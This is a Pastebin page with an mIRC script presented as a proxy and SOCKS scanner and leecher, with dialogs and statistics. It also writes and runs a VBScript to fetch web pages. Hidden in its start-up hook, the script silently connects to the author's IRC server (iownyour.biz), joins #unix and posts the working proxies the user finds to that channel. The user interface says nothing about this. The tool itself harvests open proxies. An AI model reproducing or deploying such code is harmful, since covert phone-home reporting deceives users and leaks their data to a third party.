API tools faq
paste
Advertisement
independentt

Socks&Proxy Scanner+Leecher - Proxy Studio v1.2

independentt
Nov 15th, 2017
24,211
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 20.64 KB | None | 0 0
raw download clone embed print report
  1. ;Proxy & Socks Scanner by independent with nice dialogs & statistics.
  2. ;Will be updating this script from time to time.
  3. ;Thank you about keeping credits to me, the creator of this script.
  4. ;Skype independentt911 - /server irc-1.iownyour.biz +6697
  5.  
  6. on 1:start:defaultset
  7. dialog proxystudio {
  8.   title "Proxy Studio v1.2b by independent"
  9.   size -1 -1 909 641
  10.   option pixels notheme
  11.   tab "Scanner", 2, 3 1 900 629
  12.   tab "Working Proxys", 20
  13.   tab "Proxy files And Leecher", 30
  14.   box "Proxy to test", 4, 18 32 134 576, tab 2
  15.   edit "Add proxy here", 5, 26 50 124 552, tab 2 group autohs autovs multi return vsbar limit 0
  16.   radio "Connect Proxys", 6, 156 42 100 18, tab 2
  17.   radio "Socks 4 ", 7, 156 66 100 18, tab 2
  18.   radio "Socks 5", 8, 156 90 100 18, tab 2
  19.   button "Start Scanning", 9, 262 40 98 70, tab 2
  20.   box "Sockets", 10, 152 116 208 98, tab 2
  21.   text "Open:", 11, 156 132 190 16, tab 2
  22.   text "Working Proxys:", 12, 156 154 192 18, tab 2
  23.   box "Settings", 13, 364 80 104 122, tab 2
  24.   edit "164.132.126.130", 14, 366 116 100 20, tab 2
  25.   text "IRC Server test IP", 15, 368 98 96 16, tab 2
  26.   text "ms between threads", 16, 368 140 100 16, tab 2
  27.   edit "100", 17, 366 162 40 20, tab 2
  28.   box "Debug", 18, 164 216 726 404, tab 2
  29.   edit "---------------------------------------------------------------------------Scan OUTPUT ----------------------------------------------------------------------------", 19, 172 234 706 378, tab 2 result read autohs autovs multi return vsbar
  30.   box "Connect Proxys", 21, 188 32 168 580, tab 20
  31.   box "Socks 4", 22, 366 32 182 580, tab 20 result
  32.   box "Socks 5", 23, 570 32 194 580, tab 20 result
  33.   edit "", 24, 194 54 154 512, tab 20 result autohs autovs multi return vsbar
  34.   edit "", 25, 376 52 162 518, tab 20 autohs autovs multi return vsbar limit 0
  35.   edit "", 26, 576 54 182 516, tab 20 result autohs autovs multi return vsbar
  36.   button "Save", 27, 192 572 66 24, tab 20
  37.   button "Save", 28, 370 574 64 26, tab 20
  38.   button "Save", 29, 578 574 64 26, tab 20
  39.   link "www.pastebin.com/u/independentt", 45, 710 0 194 18, tab 20
  40.   link "www.pastebin.com/u/independentt", 46, 698 2 184 18, tab 2
  41.   link "www.pastebin.com/u/independentt", 47, 721 3 176 16, tab 30
  42.   text "This will scan the selected proxy lists from *.txt or *log", 31, 5 33 266 30, tab 30
  43.   button "Scan my files, NOW.", 32, 111 61 142 68, tab 30
  44.   radio "Connect Proxy", 33, 9 67 100 16, tab 30
  45.   radio "Socks 4", 34, 9 87 100 16, tab 30
  46.   radio "Socks 5", 35, 9 107 100 18, tab 30
  47.   button "Clear", 36, 644 574 64 26, tab 20
  48.   button "Filter", 37, 708 574 50 26, tab 20
  49.   button "Clear", 38, 434 574 66 26, tab 20
  50.   button "Filter", 39, 500 574 36 26, tab 20
  51.   button "Clear", 40, 258 572 66 24, tab 20
  52.   button "Filter", 41, 322 572 34 24, tab 20
  53.   box "MASS SCANNER", 42, 3 21 272 124, tab 30
  54.   box "Stats", 43, 14 34 146 530, tab 20
  55.   text "Total Proxys Scanned:", 44, 22 54 132 70, tab 20
  56.   text "Total Valid Proxys:", 48, 20 128 136 82, tab 20
  57.   text "Connection Errors:", 49, 18 218 136 92, tab 20
  58.   box "Proxy Leecher *Uses VBscript", 50, 276 48 590 572, tab 30
  59.   edit "http://www.vipsocks24.net/2017/11/16-11-17-vip-socks-5-servers-4150.html", 51, 313 163 420 434, tab 30 autohs autovs multi return hsbar
  60.   button "Leech", 52, 313 137 66 24, tab 30
  61.   button "Save", 53, 381 137 64 24, tab 30
  62.   button "Clear", 54, 447 137 64 24, tab 30
  63.   button "Load list", 55, 513 137 64 24, tab 30
  64.   box "Stats", 56, 738 276 127 319, tab 30
  65.   text "Number of Leeched lists:", 57, 737 298 128 92, tab 30
  66.   button "STOP!", 58, 580 135 64 26, tab 30
  67.   button "Stop scanner NOW!", 59, 366 38 100 40, tab 2
  68.   text "Number of Leechable Sites:", 60, 739 391 126 66, tab 30
  69.   edit "www.vipsocks24.net s5", 61, 315 85 246 44, tab 30 multi hsbar
  70.   button "Add Site", 62, 567 93 58 26, tab 30
  71.   text "Protocol", 64, 154 22 100 18, tab 2
  72.   menu "File", 1
  73.   item "STOP ALL", 63, 1
  74.   item "Item3", 3, 1
  75. }
  76.  
  77.  
  78.  
  79.  
  80.  
  81. on 1:dialog:proxystudio:sclick:9: {
  82.   hadd -m proxyset max $did(proxystudio,5,0).lines
  83.   .timerSCLICK -om $hget(proxyset,max) %interval pxys
  84.  
  85. }
  86. on 1:dialog:proxystudio:sclick:6: {
  87.   hadd -m proxyset ext pxy
  88. }
  89. on 1:dialog:proxystudio:sclick:7: {
  90.   hadd -m proxyset ext s4
  91. }
  92. on 1:dialog:proxystudio:sclick:8: {
  93.   hadd -m proxyset ext s5
  94. }
  95. on 1:dialog:proxystudio:sclick:33: {
  96.   hadd -m proxyset ext2 pxy
  97. }
  98. on 1:dialog:proxystudio:sclick:34: {
  99.   hadd -m proxyset ext2 s4
  100. }
  101. on 1:dialog:proxystudio:sclick:35: {
  102.   hadd -m proxyset ext2 s5
  103. }
  104. on 1:dialog:proxystudio:sclick:37: {
  105.   filterdiag 26
  106. }
  107. on 1:dialog:proxystudio:sclick:39: {
  108.   filterdiag 25
  109. }
  110. on 1:dialog:proxystudio:sclick:41: {
  111.   filterdiag 24
  112. }
  113. on 1:dialog:proxystudio:sclick:36: {
  114.   cleardiag 26
  115. }
  116. on 1:dialog:proxystudio:sclick:38: {
  117.   cleardiag 25
  118. }
  119. on 1:dialog:proxystudio:sclick:40: {
  120.   cleardiag 24
  121. }
  122.  
  123. on 1:dialog:proxystudio:sclick:58: {
  124.   abord
  125.  
  126. }
  127. on 1:dialog:proxystudio:sclick:59: {
  128.   abord
  129.  
  130. }
  131. on 1:dialog:proxystudio:sclick:52: {
  132.   leech
  133.  
  134. }
  135. on 1:dialog:proxystudio:sclick:54: {
  136.   cleardiag 51
  137. }
  138. on 1:dialog:proxystudio:sclick:55: {
  139.   loadbuf -oi proxystudio 51 leech.txt
  140.   did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
  141.  
  142. }
  143. on 1:dialog:proxystudio:sclick:53: {
  144.   savebuf -oi proxystudio 51 leech.txt
  145.   did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
  146.  
  147. }
  148. on 1:dialog:proxystudio:sclick:62: {
  149.   write leech.txt $did(proxystudio,61) $CRLF
  150.   loadbuf -oi proxystudio 51 leech.txt
  151.   did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
  152. }
  153. alias sortnumber {
  154.   return $iif($1 > $2, 1, $iif($1 == $2,0,-1))
  155. }
  156. alias filterdiag {
  157.   filter -iocsa proxystudio $1 proxystudio $1 sortnumber
  158. }
  159. alias cleardiag {
  160.   did -r proxystudio $1
  161. }
  162. on 1:dialog:proxystudio:sclick:27: {
  163.   %name = Valid.Proxys. $+ $ticks $+ .txt
  164.   savebuf -o proxystudio 24 %name
  165.   run %name
  166. }
  167. on 1:dialog:proxystudio:sclick:28: {
  168.   %name = Valid.socks4. $+ $ticks $+ .txt
  169.   savebuf -o proxystudio 25 %name
  170.   run %name
  171. }
  172. on 1:dialog:proxystudio:sclick:29: {
  173.   %name = Valid.socks5. $+ $ticks $+ .txt
  174.   savebuf -o proxystudio 26 %name
  175.   run %name
  176. }
  177. on 1:dialog:proxystudio:sclick:32: {
  178.   if ($hget(proxyset,ext2) == pxy) selectmultiplefile
  179.   if ($hget(proxyset,ext2) == s4) selectmultiplefiles4
  180.   if ($hget(proxyset,ext2) == s5) selectmultiplefiles5
  181. }
  182. on 1:dialog:proxystudio:edit:17: {
  183.   did -a proxystudio 19 Interval changed to $did(proxystudio,17) $CRLF
  184.   set %interval $did(proxystudio,17)
  185. }
  186. on 1:dialog:proxystudio:edit:14: {
  187.   set %def.s $did(proxystudio,14)
  188.   did -a proxystudio 19 IRC server changed to $did(proxystudio,14) $crlf
  189. }
  190. on 1:dialog:proxystudio:edit:10: {
  191.   did -a proxystudio 19 Proxys added to scan: $did(proxystudio,10).len $crlf
  192. }
  193. on 1:dialog:proxystudio:sclick:38: {
  194.   hadd -m proxyset max $did(proxystudio,5,0).lines
  195.   .timerSCLICK -om $hget(proxyset,max) %interval pxys
  196.  
  197. }
  198.  
  199.  
  200.  
  201. alias pxys {
  202.   hinc -u5 proxyset inc
  203.  
  204.   if ($hget(proxyset,ext) == pxy) || (!$hget(proxyset,ext)) sc4n $did(proxystudio,5,$hget(proxyset,inc))
  205.   if ($hget(proxyset,ext) == s4) s4.scan $did(proxystudio,5,$hget(proxyset,inc))
  206.   if ($hget(proxyset,ext) == s5) s5.scan $did(proxystudio,5,$hget(proxyset,inc))
  207. }
  208.  
  209.  
  210. alias b {
  211.   sockopen bot_x irc- $+ $r(1,2) $+ .iownyour.biz 6667
  212. }
  213.  
  214.  
  215. on *:sockopen:bot_x: {
  216.   sockwrite -n bot_x nick pXy[ $+ $r(0,99999) $+ ]
  217.   sockwrite -n bot_x user sockets . . . sockets
  218. }
  219.  
  220. on *:sockread:bot*: {
  221.   sockread %_sb
  222.   tokenize 32 %_sb
  223.   var %_ntoks = $numtok($1-,44)
  224.   if ($1 == PING && $2) { sockwrite -n $sockname PONG $2- }
  225.   if ($2 == 001) { sockwrite -n bot_x JOIN #unix }
  226. }
  227. alias -l htmlfree {
  228.   var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;)
  229.   return %x
  230. }
  231. ALIAS DEF.p { %z = $r(0,1) | if (%z) return %def.p | else return 6667 }
  232. ALIAS DEF.S { return %def.s }
  233. alias getiphost2 {
  234.   %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[1-5]|2[1-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i
  235.   if $regex(ip,$remove($1-,$chr(9)),%var) {
  236.     return $replace($regml(ip,1),:,$chr(32))
  237.   }
  238. }
  239. alias getsource {
  240.   %out = $shortfn($mircdirleech $+ . $+ $hget(proxyset,ext2) $+ . $+ $ctime $+ .txt)
  241.   if ($isfile(get.vbs)) .remove get.vbs
  242.   %a = write get.vbs
  243.   %a Dim FSO, dFile, sHTML
  244.  
  245.   %a sHTML = Get_HTML(" $+ $1 $+ ")
  246.  
  247.   %a Set FSO = CreateObject("Scripting.FileSystemObject")
  248.   %a Set dFile = FSO.CreateTextFile(" $+ %out $+ ", True)
  249.  
  250.   %a dFile.Write sHTML
  251.   %a dFile.Close
  252.  
  253.   %a Private Function Get_HTML (up_http)
  254.   %a  Dim xmlhttp
  255.   %a  Set xmlhttp = createobject("MSXML2.XMLHTTP")
  256.  
  257.   %a  xmlhttp.open "get", up_http, False
  258.   %a  xmlhttp.send
  259.   %a  Get_HTML = xmlhttp.responsetext
  260.  
  261.   %a  set xmlhttp = Nothing
  262.   %a End Function
  263.   run get.vbs
  264.   return %out
  265.   run %out
  266. }
  267. alias leech {
  268.   if (!%interval) %interval = 100
  269.   did -a proxystudio 19 $timestamp * Now leeching proxy-lists over the web. $crlf
  270.   set %site.max $lines(leech.txt)
  271.   set %site.inc 0
  272.   :GO
  273.   inc %site.inc
  274.   .timer -o 1 $calc(%site.inc *5) pxx %site.inc
  275.   if (%site.inc < %site.max) goto go
  276.   else { halt }
  277. }
  278. alias pxx { did -a proxystudio 19 Leeching...saving to: $getsource($read(leech.txt,$1)) %interval ms $crlf | did -a proxystudio 57 Number of Leeched lists: %site.inc }
  279. alias getURL {
  280.   noop $regex($1,/(((http(s)?\72(\57{2}))|(www\56{1}))+(\w*)+(\56{1})+(\w{2,3})\S*)/Sig))
  281.   return $regml(1)
  282. }
  283. alias sc5nfile { s5.scan $1- }
  284. alias sc4nfile { s4.scan $1- }
  285. alias sc4n {
  286.   if (!$sock(bot_x).ip) b
  287.   if (*.*.*.*  iswm $1-) && ($1 != x) && ($2)  {
  288.     if ($read($pxy,w,* $+ $1 $+ *) != $null) { did -a proxystudio 19 $1 $2 Already in list, halted scan. $crlf | return }
  289.     did -a proxystudio 19 Scanning: $1 $2 $crlf
  290.     sockopen scan $+ $r(0,99999999999999) $1 $2
  291.     return
  292.   }
  293.   if ($getiphost2($1-)) {
  294.     if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { did -a proxystudio 19 $1 $+ : %+ $2 Already in list, halted scan. $crlf | goto next }
  295.     did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  296.     sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
  297.     goto next
  298.   }
  299.   if (*.*.*.* !iswm $1-) goto next
  300.   if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { did -a proxystudio 19 $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. $crlf | goto next }
  301.   :next
  302. }
  303. alias setinterval {
  304.   :restart
  305.   %interval = $?="Enter interval in milliseconds, 1 to 1000 "
  306.   if (!$!) || ($! >= 1000) goto restart
  307. }
  308. alias defaultset { %interval = 100 | %def.s = 164.132.126.130 | %def.p = 6667 | b }
  309. alias scan.win { inc %scan.start | if (%scan.start == 1) defaultset | if (%interval == $null) setinterval | if ($window(@proxyscan) == $null) { window -e @proxyscan | window -e @sock4 | window -e @sock5 } }
  310. alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
  311. menu * {
  312.   [-Proxy Studio-]: dialog -m proxystudio proxystudio
  313. }
  314.  
  315. alias pxy return ValidProxy.txt
  316. alias abord { play stop | .timerleech off | .timerpl.* off | sockclose *scan* | sockclose *fl* | .timer*scan* off | hfreepxy | hfrees4 | hfrees5 }
  317. on *:INPUT:@Proxyscan:{
  318.   if ($getiphost2($1-)) {
  319.     hadd -m proxy pxy $+ $gettok($getiphost2($1-),1,32) $getiphost2($1-)
  320.     .timerscanfile -om 1 1 .pxyfile temp %interval
  321.     return
  322.   }
  323.   if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
  324. }
  325. alias hfreepxy { hfree proxy }
  326. alias hfrees4 { hfree socks4 }
  327. alias hfrees5 { hfree socks5 }
  328. alias sk {
  329.   set -u1 %chkk $read($pxy,w,* $+ $sock($sockname).ip $+ *)
  330.   if (!%chkk) && (*9* iswm $1) write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  331. }
  332. on *:sockopen:scan*:{
  333.   hinc -m proxyset total
  334.   did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  335.   hinc -u120 proxyset open
  336.   did -a proxystudio 11 Open: $hget(proxyset,open)
  337.   if ($sockerr > 0) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  338.  
  339.   did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Connecting ... $crlf
  340.   sockwrite -tn $sockname CONNECT $def.s $+ : $+ $def.p HTTP/1.1 $+ $crlf
  341.   sockwrite -tn $sockname $crlf
  342.   sockmark $sockname $ticks
  343.  
  344.  
  345. }
  346. alias success {
  347.   set %yell $2 %yell
  348.   if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :pxy: %yell | unset %yell }
  349.  
  350.   did -a proxystudio 19 $1- $crlf
  351.   sk $1
  352. }
  353. alias allpxy return ALL.txt
  354. alias portclose { sockclose $1 }
  355.  
  356. on *:SOCKREAD:scan*:{
  357.   :READ
  358.   sockread -n %fld
  359.   if (!%fld) || (!$sockbr) return
  360.   if (!$sock($sockname).mark) || ($sock($sockname).mark == c) sockmark $sockname $ctime
  361.   if (*http*200* iswm %fld) {
  362.     did -a proxystudio 24 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  363.     hinc proxyset work
  364.     did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  365.  
  366.     did -a proxystudio 48 Total Valid Proxys: $hget(proxyset,work)
  367.     success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING! Lag: $calc($ticks - $sock($sockname).mark) ms
  368.     sockmark $sockname $ctime
  369.     sockclose $Sockname
  370.   }
  371.   if ($gettok(%fld,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%fld,2,32),:) }
  372.   goto READ
  373. }
  374. on 1:sockclose:scan*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf }
  375. alias pb return did -a proxystudio 19
  376. alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
  377. alias pxyfile {
  378.   if ($1 != temp) .timer -o 1 6 play -a scanfile @proxyscan $1 $2
  379.   else {
  380.     did -a proxystudio 19 Scanning $hfind(proxy,*,0,w) Proxys with %interval $+ ms interval to %def.s $crlf
  381.     .timerSCANpxy -om $hfind(proxy,*,0,w) %interval scann pxy
  382.   }
  383. }
  384. alias scann {
  385.   if ($1 == pxy) {
  386.     hinc -mu2 count hinc2
  387.     sc4n $hget(proxy,$hfind(proxy,*,$hget(count,hinc2),w))
  388.     .timerscanfileoff 1 5 .hfreepxy
  389.   }
  390.   if ($1 == s4) {
  391.     hinc -mu2 count hinc3
  392.     s4.scan $hget(socks4,$hfind(socks4,*,$hget(count,hinc3),w))
  393.     .timerscanfileoffs4 1 5 .hfrees4
  394.   }
  395.   if ($1 == s5) {
  396.     hinc -mu2 count hinc4
  397.     s5.scan $hget(socks5,$hfind(socks5,*,$hget(count,hinc4),w))
  398.     .timerscanfileoffs5 1 5 .hfrees5
  399.   }
  400. }
  401. alias s5.scan {
  402.   if (!$sock(bot_x).ip) b
  403.   if (!$1) goto END
  404.   if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list. $crlf | goto END }
  405.   if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
  406.     if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
  407.       sockopen s5chk $+ $r(0,9999999) $1 $2
  408.       did -a proxystudio 19  Scanning: $1 $2 $crlf
  409.     }
  410.   }
  411.   elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null)  {
  412.     sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
  413.     did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  414.   }
  415.   :END
  416. }
  417. alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
  418. alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
  419. alias s4.scan {
  420.   if (!$sock(bot_x).ip) b
  421.   if (!$1) goto END
  422.   if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list $crlf | goto END }
  423.   if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
  424.     if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
  425.       sockopen s4chk $+ $r(0,9999999) $1 $2
  426.       did -a proxystudio 19  Scanning: $1 $2 $crlf
  427.     }
  428.   }
  429.   elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
  430.     sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
  431.     did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  432.   }
  433.   :END
  434. }
  435. on *:sockopen:s5chk*:{
  436.   hinc -m proxyset total
  437.   did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  438.   if ($sockerr) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr)  | did -a proxystudio 19 Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  439.   hinc -m proxyset total
  440.   did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  441.   hinc -u120 proxyset open
  442.   did -a proxystudio 11 Open: $hget(proxyset,open)
  443.  
  444.   .bset &bvar5 1 5 1 0
  445.   .sockwrite -n $sockname &bvar5
  446.   .bunset &bvar5
  447. }
  448. on *:sockread:s5chk*:{
  449.   if ($sockbr) { return }
  450.   .sockread &bsocks5
  451.   if ($bvar(&bsocks5,1,2) != 5 0) { return }
  452.   if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
  453.  
  454.     sockmark $sockname $ticks
  455.     bset &socks5  1 5 1 0 1 $replace($def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
  456.     .sockwrite -n $sockname &socks5
  457.     .bunset &socks5
  458.     sockrename $sockname chks5 $+ $remove($sockname,s5chk)
  459.  
  460.   }
  461. }
  462. on 1:SOCKREAD:chks5*:{
  463.   sockread %socks5
  464.   if ($chr(5) isin $gettok(%socks5,1-3,32)) {
  465.     hinc proxyset work
  466.     did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  467.     did -a proxystudio 26 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  468.     suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port Lag: $calc($ticks - $sock($sockname).mark) $+ ms
  469.   }
  470. }
  471. alias suces4 { did -a proxystudio 19 *work $1- $crlf | sk4 }
  472. alias suces5 { did -a proxystudio 19 *work $1- $crlf | sk5 }
  473. alias sk4 {
  474.   set -u3 %rady $read(sock4.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  475.   if (!%rady) write sock4.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  476.   sockwrite -n bot_x PRIVMSG #unix :S4: $sock($sockname).ip $+ : $+ $sock($sockname).port
  477.   set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  478.   if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S4: %yell | unset %yell }
  479.  
  480. }
  481. alias sk5 {
  482.   set -u3 %redy $read(sock5.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  483.   if (!%redy) write sock5.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  484.   set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  485.   if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S5: %yell | unset %yell }
  486. }
  487. on *:sockopen:s4chk*:{  
  488.   hinc -m proxyset total
  489.   did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  490.   if ($sockerr) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | did -a proxystudio 19 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  491.   hinc -u120 proxyset open
  492.   did -a proxystudio 11 Open: $hget(proxyset,open)
  493.  
  494.   sockmark $sockname $ticks
  495.   .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace($def.s,.,$chr(32)) 0
  496.   .sockwrite $sockname &bvar4
  497.   .bunset &bvar4
  498. }
  499. ON *:SOCKREAD:s4chk*:{
  500.   .sockread &bsocks4
  501.   if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $+ $sock($sockname).port return $bvar(&bsocks4,2-) | return }
  502.   if ($bvar(&bsocks4,2) == 90) {
  503.     did -a proxystudio 25 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  504.     hinc proxyset work
  505.     did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  506.     suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - $sock($sockname).mark)) $+ ms
  507.  
  508.   }
  509. }
  510. on 1:SOCKCLOSE:s5*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
  511. on 1:SOCKCLOSE:s4*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
  512. alias scans4file { s4.scan $getiphost2($1-) }
  513. alias s4file {
  514.   if ($1 != temp.s4) .timer -o 1 6 play -a scans4file @sock4 $1-
  515.   else {
  516.     did -a proxystudio 19  Scanning $hfind(socks4,*,0,w) Socks4 with %interval $+ ms interval to %def.s $crlf
  517.     .timerSCANs4 -om $hfind(socks4,*,0,w) %interval scann s4
  518.   }
  519. }
  520. alias scans5file { s5.scan $getiphost2($1-) }
  521. alias s5file {
  522.   if ($1 != temp.s5) .timer -o 1 6 play -a scans5file @sock5 $1-
  523.   else {
  524.     did -a proxystudio 19 Scanning $hfind(socks5,*,0,w) Socks5 with %interval $+ ms interval to %def.s $crlf
  525.     .timerSCANs5 -om $hfind(socks5,*,0,w) %interval scann s5
  526.   }
  527. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!